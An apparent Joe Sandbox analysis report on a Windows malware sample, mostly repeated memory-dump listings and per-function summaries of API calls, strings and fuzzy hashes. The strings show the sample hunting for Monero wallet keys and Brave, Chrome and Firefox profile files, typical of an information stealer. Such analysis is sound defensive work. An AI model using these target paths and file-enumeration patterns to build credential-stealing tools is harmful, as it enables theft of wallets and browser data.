Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f341f4160a56ca8cfcdf5c598ab918313fd36aed3d57449f62010603627dae96
Instruction ID: 3875f1dfe5983fdbae57c3e52d2d88f861af13efc708d3567f0db5b071a91a4e
Opcode Fuzzy Hash: f341f4160a56ca8cfcdf5c598ab918313fd36aed3d57449f62010603627dae96
Instruction Fuzzy Hash: D0E0C2B291430163CA0037F4AD0AB2E338C5B04385F444628FA08D2142FE29E840C766

Non-executed Functions

Function 00A838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A838CC
FindFirstFileA.KERNEL32(?,?), ref: 00A838E3
lstrcat.KERNEL32(?,?), ref: 00A83935
StrCmpCA.SHLWAPI(?,00A90F70), ref: 00A83947
StrCmpCA.SHLWAPI(?,00A90F74), ref: 00A8395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00A83C67
FindClose.KERNEL32(000000FF), ref: 00A83C7C

Strings

%s\%s, xrefs: 00A8397A
%s\*, xrefs: 00A838C0
%s\%s, xrefs: 00A83A6F
%s\%s\%s, xrefs: 00A83A4A
%s%s, xrefs: 00A83AAD

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: fbca23a20a6b6af1ceb6d04aa25be65dd68230efe0bee379c4bf58e6eac7bb46
Instruction ID: 2b445fbf5d88d8115179a95f020d6bc779edee06a8fdf512c270d342ac492c9a
Opcode Fuzzy Hash: fbca23a20a6b6af1ceb6d04aa25be65dd68230efe0bee379c4bf58e6eac7bb46
Instruction Fuzzy Hash: 6BA131B2A00218ABDF24EF64DD85FEE7378BB58701F044688F64D96141EB759B84CF62

Function 00A7BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

FindFirstFileA.KERNEL32(00000000,?,00A90B32,00A90B2B,00000000,?,?,?,00A913F4,00A90B2A), ref: 00A7BEF5
StrCmpCA.SHLWAPI(?,00A913F8), ref: 00A7BF4D
StrCmpCA.SHLWAPI(?,00A913FC), ref: 00A7BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00A7C7BF
FindClose.KERNEL32(000000FF), ref: 00A7C7D1

Strings

Brave, xrefs: 00A7C102
\Brave\Preferences, xrefs: 00A7C1DB
Preferences, xrefs: 00A7C11E
Google Chrome, xrefs: 00A7C634

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 53bf9c9941ec0f2d87296a8d2a9ffcd7f9ebbd5141b59cad3c33a403797f9da8
Instruction ID: 9f02073bed549099e9017fbb6628c22eff8c9c46361d8078e7eb1d6d4ebe23a4
Opcode Fuzzy Hash: 53bf9c9941ec0f2d87296a8d2a9ffcd7f9ebbd5141b59cad3c33a403797f9da8
Instruction Fuzzy Hash: A5422B729101046BDF14FB70DE96EED737DAFA4300F408559F50AA6191EF38AB49CBA2

Function 00A84910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A8492C
FindFirstFileA.KERNEL32(?,?), ref: 00A84943
StrCmpCA.SHLWAPI(?,00A90FDC), ref: 00A84971
StrCmpCA.SHLWAPI(?,00A90FE0), ref: 00A84987
FindNextFileA.KERNEL32(000000FF,?), ref: 00A84B7D
FindClose.KERNEL32(000000FF), ref: 00A84B92

Strings

%s\%s, xrefs: 00A849FB
%s\*, xrefs: 00A84920
%s\%s, xrefs: 00A849A4

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 29bc000fa47fe61c9d7d28c0dccf5522ac1a77b52bb4d5d93d13f937662b1f36
Instruction ID: 1f4d1be204028744052be61b15c93d229986e0c3cc9f52ba6ffe621d306f79f0
Opcode Fuzzy Hash: 29bc000fa47fe61c9d7d28c0dccf5522ac1a77b52bb4d5d93d13f937662b1f36
Instruction Fuzzy Hash: D86167B2900219ABCB24FBA0DC49FEE73BCBB58701F048688F54996141EB75DB45CF91

Function 00A84570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00A84580
RtlAllocateHeap.NTDLL(00000000), ref: 00A84587
wsprintfA.USER32 ref: 00A845A6
FindFirstFileA.KERNEL32(?,?), ref: 00A845BD
StrCmpCA.SHLWAPI(?,00A90FC4), ref: 00A845EB
StrCmpCA.SHLWAPI(?,00A90FC8), ref: 00A84601
FindNextFileA.KERNEL32(000000FF,?), ref: 00A8468B
FindClose.KERNEL32(000000FF), ref: 00A846A0
lstrcat.KERNEL32(?,0068F500), ref: 00A846C5
lstrcat.KERNEL32(?,0068DA60), ref: 00A846D8
lstrlen.KERNEL32(?), ref: 00A846E5
lstrlen.KERNEL32(?), ref: 00A846F6

Strings

%s\%s, xrefs: 00A8461B
%s\*, xrefs: 00A8459A

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 7548ef2afb1db810aae427a82bf4abbde57ad37fd2bc3903c53148815166f62d
Instruction ID: a0561a8659d1e1c280e7ad5e31ffaa502d57e77d8d822d1a509179552148b648
Opcode Fuzzy Hash: 7548ef2afb1db810aae427a82bf4abbde57ad37fd2bc3903c53148815166f62d
Instruction Fuzzy Hash: 1F5156B1940218ABCB24FB70DD89FED737CAB58700F404698F64D96190EF759B848F92

Function 00A83EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A83EC3
FindFirstFileA.KERNEL32(?,?), ref: 00A83EDA
StrCmpCA.SHLWAPI(?,00A90FAC), ref: 00A83F08
StrCmpCA.SHLWAPI(?,00A90FB0), ref: 00A83F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00A8406C
FindClose.KERNEL32(000000FF), ref: 00A84081

Strings

%s\%s, xrefs: 00A83EB7

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: efb7b6de6d4cb0d8741d668f9b68669771fb4d9059ad6927189178e631fc5583
Instruction ID: 63f40866ba8aea0327062351b26d031428d2944217c0944e622e3636a2daf512
Opcode Fuzzy Hash: efb7b6de6d4cb0d8741d668f9b68669771fb4d9059ad6927189178e631fc5583
Instruction Fuzzy Hash: B95128B2900218ABCB24FBB0DD45FEE737CBB58700F408699B65996080EB759B858F91

Function 00A7ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A7ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00A7ED55
StrCmpCA.SHLWAPI(?,00A91538), ref: 00A7EDAB
StrCmpCA.SHLWAPI(?,00A9153C), ref: 00A7EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00A7F2AE
FindClose.KERNEL32(000000FF), ref: 00A7F2C3

Strings

%s\*.*, xrefs: 00A7ED32

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b7c4be9787416f79ff3b7cbd68a690ec400182a2847246fe3609ba076c024335
Instruction ID: 9bb892ff3d14f211fe253366a2e95cccc3c8bf5667a2c9efdfd8f44e256ea73f
Opcode Fuzzy Hash: b7c4be9787416f79ff3b7cbd68a690ec400182a2847246fe3609ba076c024335
Instruction Fuzzy Hash: B5E1B4729111189AFB55FB60DD52EEE737CAF64300F4045DAB50A62092EF346F8ACF62

Function 00A7F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A915B8,00A90D96), ref: 00A7F71E
StrCmpCA.SHLWAPI(?,00A915BC), ref: 00A7F76F
StrCmpCA.SHLWAPI(?,00A915C0), ref: 00A7F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00A7FAB1
FindClose.KERNEL32(000000FF), ref: 00A7FAC3

Strings

prefs.js, xrefs: 00A7F812

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d3e825d1fefc2604ea8caabfb5279972cdf76be8dac904000ef1a4240af23f56
Instruction ID: aca9e55dc93cbab5c6c9afbc863e7dc254880fb7d9723e0ed55f867fd868b0fb
Opcode Fuzzy Hash: d3e825d1fefc2604ea8caabfb5279972cdf76be8dac904000ef1a4240af23f56
Instruction Fuzzy Hash: 3FB12271A001189FDB24FF64DD96FEE7379AF64300F4085A9E40E96191EF346B49CBA2

Function 00A716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A9510C,?,?,?,00A951B4,?,?,00000000,?,00000000), ref: 00A71923
StrCmpCA.SHLWAPI(?,00A9525C), ref: 00A71973
StrCmpCA.SHLWAPI(?,00A95304), ref: 00A71989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A71D40
DeleteFileA.KERNEL32(00000000), ref: 00A71DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00A71E20
FindClose.KERNEL32(000000FF), ref: 00A71E32

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Strings

\*.*, xrefs: 00A717F1

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 8780f8f10d3ab5508613ffa6879d8d0b9779facb67eedc7135f4b3b69cb20045
Instruction ID: 83a75c4b90a226ea58c60bb16fa4273ef987aa4cea0af3b2c03bfb993fa56b79
Opcode Fuzzy Hash: 8780f8f10d3ab5508613ffa6879d8d0b9779facb67eedc7135f4b3b69cb20045
Instruction Fuzzy Hash: 9112D471D101189BEB19FB60DD96EEE7378AF64300F4045DAB50A66091EF386F89CFA1

Function 00A7DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00A90C2E), ref: 00A7DE5E
StrCmpCA.SHLWAPI(?,00A914C8), ref: 00A7DEAE
StrCmpCA.SHLWAPI(?,00A914CC), ref: 00A7DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00A7E3E0
FindClose.KERNEL32(000000FF), ref: 00A7E3F2

Strings

\*.*, xrefs: 00A7DE26

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

